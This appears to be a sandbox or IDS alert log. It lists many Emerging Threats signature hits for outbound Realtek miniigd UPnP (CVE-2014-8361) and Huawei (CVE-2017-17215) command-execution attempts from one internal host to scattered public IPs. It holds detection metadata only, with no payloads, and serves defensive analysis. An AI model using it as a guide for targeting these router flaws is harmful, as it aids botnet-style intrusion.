ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.229.219.185

Timestamp:	07/20/24-23:01:08.663245
SID:	2027339
Source Port:	36028
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.37.38.42

Timestamp:	07/20/24-23:01:42.809716
SID:	2027339
Source Port:	37290
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.70.135.245

Timestamp:	07/20/24-23:01:52.390301
SID:	2027339
Source Port:	51446
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.222.248.206

Timestamp:	07/20/24-23:01:01.818567
SID:	2027339
Source Port:	60200
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.155.48.50

Timestamp:	07/20/24-23:01:46.220244
SID:	2025132
Source Port:	40518
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 63.137.171.145

Timestamp:	07/20/24-23:01:50.223705
SID:	2831300
Source Port:	35596
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.224.131.168

Timestamp:	07/20/24-23:01:11.630833
SID:	2829579
Source Port:	36586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 171.248.87.10

Timestamp:	07/20/24-23:02:18.238800
SID:	2025132
Source Port:	60464
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 216.27.105.182

Timestamp:	07/20/24-23:01:49.070413
SID:	2025132
Source Port:	33184
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 172.42.36.143

Timestamp:	07/20/24-23:01:48.322055
SID:	2025132
Source Port:	42282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 195.86.64.66

Timestamp:	07/20/24-23:01:42.915641
SID:	2025132
Source Port:	37908
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.33.49.156

Timestamp:	07/20/24-23:01:47.821658
SID:	2027339
Source Port:	57088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.93.244.9

Timestamp:	07/20/24-23:01:56.719998
SID:	2027339
Source Port:	40662
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.5.70.201

Timestamp:	07/20/24-23:01:42.508021
SID:	2027339
Source Port:	50758
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.201.201.44

Timestamp:	07/20/24-23:01:45.233561
SID:	2027339
Source Port:	54774
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.245.224.230

Timestamp:	07/20/24-23:01:53.066716
SID:	2027339
Source Port:	37184
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 180.183.76.230

Timestamp:	07/20/24-23:01:42.636583
SID:	2025132
Source Port:	55272
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.2.94.148

Timestamp:	07/20/24-23:01:14.013095
SID:	2829579
Source Port:	49406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 186.150.2.45

Timestamp:	07/20/24-23:01:42.617689
SID:	2831300
Source Port:	60274
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.216.86.224

Timestamp:	07/20/24-23:01:20.596401
SID:	2027339
Source Port:	46360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.202.90.168

Timestamp:	07/20/24-23:01:11.632393
SID:	2829579
Source Port:	52048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.66.88.32

Timestamp:	07/20/24-23:01:42.762943
SID:	2027339
Source Port:	53296
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 167.13.180.172

Timestamp:	07/20/24-23:01:06.989167
SID:	2835222
Source Port:	46306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 120.63.90.68

Timestamp:	07/20/24-23:01:44.295391
SID:	2025132
Source Port:	50356
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 181.147.220.98

Timestamp:	07/20/24-23:01:42.634606
SID:	2027339
Source Port:	33464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.66.141.65

Timestamp:	07/20/24-23:01:20.181938
SID:	2835222
Source Port:	32836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 27.10.81.5

Timestamp:	07/20/24-23:01:58.945733
SID:	2025132
Source Port:	33618
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.191.35.155

Timestamp:	07/20/24-23:01:46.261026
SID:	2027339
Source Port:	38576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.113.97.179

Timestamp:	07/20/24-23:01:43.096223
SID:	2027339
Source Port:	60328
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.130.71.37

Timestamp:	07/20/24-23:01:51.932550
SID:	2027339
Source Port:	35906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.160.38.108

Timestamp:	07/20/24-23:01:45.095767
SID:	2027339
Source Port:	58042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.157.95.90

Timestamp:	07/20/24-23:01:20.161614
SID:	2835222
Source Port:	54432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 161.210.183.51

Timestamp:	07/20/24-23:01:42.995118
SID:	2831300
Source Port:	60430
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.121.143.8

Timestamp:	07/20/24-23:00:59.194576
SID:	2835222
Source Port:	34208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.75.90.116

Timestamp:	07/20/24-23:01:41.960623
SID:	2027339
Source Port:	45334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 34.139.90.241

Timestamp:	07/20/24-23:01:49.809920
SID:	2831300
Source Port:	54402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 174.16.2.141

Timestamp:	07/20/24-23:01:42.627588
SID:	2025132
Source Port:	51950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 151.244.29.112

Timestamp:	07/20/24-23:01:46.444461
SID:	2831300
Source Port:	47526
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 70.101.195.243

Timestamp:	07/20/24-23:01:58.152789
SID:	2831300
Source Port:	38362
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 105.234.100.63

Timestamp:	07/20/24-23:01:08.571946
SID:	2831300
Source Port:	54340
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 109.120.196.186

Timestamp:	07/20/24-23:01:14.367036
SID:	2025132
Source Port:	44160
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 2.166.49.173

Timestamp:	07/20/24-23:01:45.233561
SID:	2831300
Source Port:	39054
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.15.238.37

Timestamp:	07/20/24-23:01:59.449569
SID:	2027339
Source Port:	58072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 85.79.139.138

Timestamp:	07/20/24-23:01:02.113054
SID:	2835222
Source Port:	35512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.90.143

Timestamp:	07/20/24-23:01:27.650975
SID:	2829579
Source Port:	53368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.255.190.193

Timestamp:	07/20/24-23:01:11.642449
SID:	2829579
Source Port:	41180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 99.12.166.177

Timestamp:	07/20/24-23:01:11.639230
SID:	2835222
Source Port:	41434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 94.32.208.135

Timestamp:	07/20/24-23:01:20.591702
SID:	2831300
Source Port:	40612
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.175.115.88

Timestamp:	07/20/24-23:01:31.976649
SID:	2829579
Source Port:	45982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 5.207.112.150

Timestamp:	07/20/24-23:01:25.481306
SID:	2025132
Source Port:	56798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 23.141.91.228

Timestamp:	07/20/24-23:00:57.220905
SID:	2835222
Source Port:	40282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 193.38.103.224

Timestamp:	07/20/24-23:01:41.266946
SID:	2025132
Source Port:	51804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 78.116.5.24

Timestamp:	07/20/24-23:01:34.045749
SID:	2829579
Source Port:	53856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.248.47.177

Timestamp:	07/20/24-23:01:41.419124
SID:	2027339
Source Port:	35788
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 23.196.138.54

Timestamp:	07/20/24-23:01:24.867858
SID:	2829579
Source Port:	48344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.125.31.24

Timestamp:	07/20/24-23:01:42.566124
SID:	2027339
Source Port:	41876
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.243.36.237

Timestamp:	07/20/24-23:01:42.740527
SID:	2027339
Source Port:	43206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.220.184.21

Timestamp:	07/20/24-23:01:52.193913
SID:	2027339
Source Port:	54490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.12.106.29

Timestamp:	07/20/24-23:01:00.654988
SID:	2835222
Source Port:	45546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 91.225.198.252

Timestamp:	07/20/24-23:01:44.870961
SID:	2025132
Source Port:	42288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 34.53.37.254

Timestamp:	07/20/24-23:01:08.585790
SID:	2831300
Source Port:	58538
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.192.243.189

Timestamp:	07/20/24-23:01:45.582631
SID:	2027339
Source Port:	37576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.15.215.48

Timestamp:	07/20/24-23:01:41.758923
SID:	2027339
Source Port:	35628
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 63.237.109.125

Timestamp:	07/20/24-23:01:45.196200
SID:	2831300
Source Port:	56512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.234.5.119

Timestamp:	07/20/24-23:01:56.400580
SID:	2027339
Source Port:	57238
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.69.181.229

Timestamp:	07/20/24-23:01:14.105395
SID:	2835222
Source Port:	42942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.74.14.28

Timestamp:	07/20/24-23:01:14.158864
SID:	2027339
Source Port:	42424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 120.189.67.125

Timestamp:	07/20/24-23:01:43.190671
SID:	2025132
Source Port:	54998
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.197.120.12

Timestamp:	07/20/24-23:01:45.197712
SID:	2027339
Source Port:	46672
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.0.21.49

Timestamp:	07/20/24-23:01:24.898476
SID:	2835222
Source Port:	48420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 192.12.11.101

Timestamp:	07/20/24-23:01:41.263141
SID:	2025132
Source Port:	43200
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 64.98.234.97

Timestamp:	07/20/24-23:01:55.606975
SID:	2831300
Source Port:	58218
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 86.49.143.0

Timestamp:	07/20/24-23:00:57.221313
SID:	2835222
Source Port:	37348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 94.159.177.21

Timestamp:	07/20/24-23:01:41.580548
SID:	2025132
Source Port:	52210
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.0.203.61

Timestamp:	07/20/24-23:01:44.533289
SID:	2027339
Source Port:	44910
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.119.213.132

Timestamp:	07/20/24-23:01:27.650871
SID:	2835222
Source Port:	52838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.136.153.134

Timestamp:	07/20/24-23:01:07.075937
SID:	2835222
Source Port:	51020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.231.87.4

Timestamp:	07/20/24-23:01:43.669446
SID:	2027339
Source Port:	47742
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 187.223.52.236

Timestamp:	07/20/24-23:01:55.974605
SID:	2831300
Source Port:	52974
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 73.223.107.25

Timestamp:	07/20/24-23:01:55.870348
SID:	2025132
Source Port:	37940
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 117.206.232.47

Timestamp:	07/20/24-23:01:02.070492
SID:	2835222
Source Port:	33456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.77.241.40

Timestamp:	07/20/24-23:01:47.652628
SID:	2027339
Source Port:	50702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.224.40.86

Timestamp:	07/20/24-23:01:03.813611
SID:	2027339
Source Port:	41022
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 97.235.141.174

Timestamp:	07/20/24-23:01:51.107223
SID:	2831300
Source Port:	36048
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 18.141.77.94

Timestamp:	07/20/24-23:01:44.890268
SID:	2025132
Source Port:	48568
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 106.212.70.208

Timestamp:	07/20/24-23:01:49.040108
SID:	2831300
Source Port:	51954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.162.44.242

Timestamp:	07/20/24-23:01:06.975117
SID:	2829579
Source Port:	45108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 199.61.238.254

Timestamp:	07/20/24-23:01:08.919725
SID:	2831300
Source Port:	45992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.188.89.36

Timestamp:	07/20/24-23:01:08.600680
SID:	2027339
Source Port:	34588
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.23.131.130

Timestamp:	07/20/24-23:01:41.304640
SID:	2027339
Source Port:	60192
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.27.67.46

Timestamp:	07/20/24-23:01:27.654172
SID:	2835222
Source Port:	48970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.79.255.113

Timestamp:	07/20/24-23:01:21.915268
SID:	2829579
Source Port:	54320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 126.192.25.7

Timestamp:	07/20/24-23:01:46.384516
SID:	2831300
Source Port:	56926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.218.93.135

Timestamp:	07/20/24-23:01:02.104571
SID:	2835222
Source Port:	52394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.236.96.35

Timestamp:	07/20/24-23:01:45.098864
SID:	2027339
Source Port:	52864
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.209.73.42

Timestamp:	07/20/24-23:01:04.113037
SID:	2835222
Source Port:	53606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.20.66.65

Timestamp:	07/20/24-23:01:24.894099
SID:	2835222
Source Port:	56780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.36.37.101

Timestamp:	07/20/24-23:01:54.367854
SID:	2025132
Source Port:	41138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 74.211.16.76

Timestamp:	07/20/24-23:01:49.563475
SID:	2027339
Source Port:	52248
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

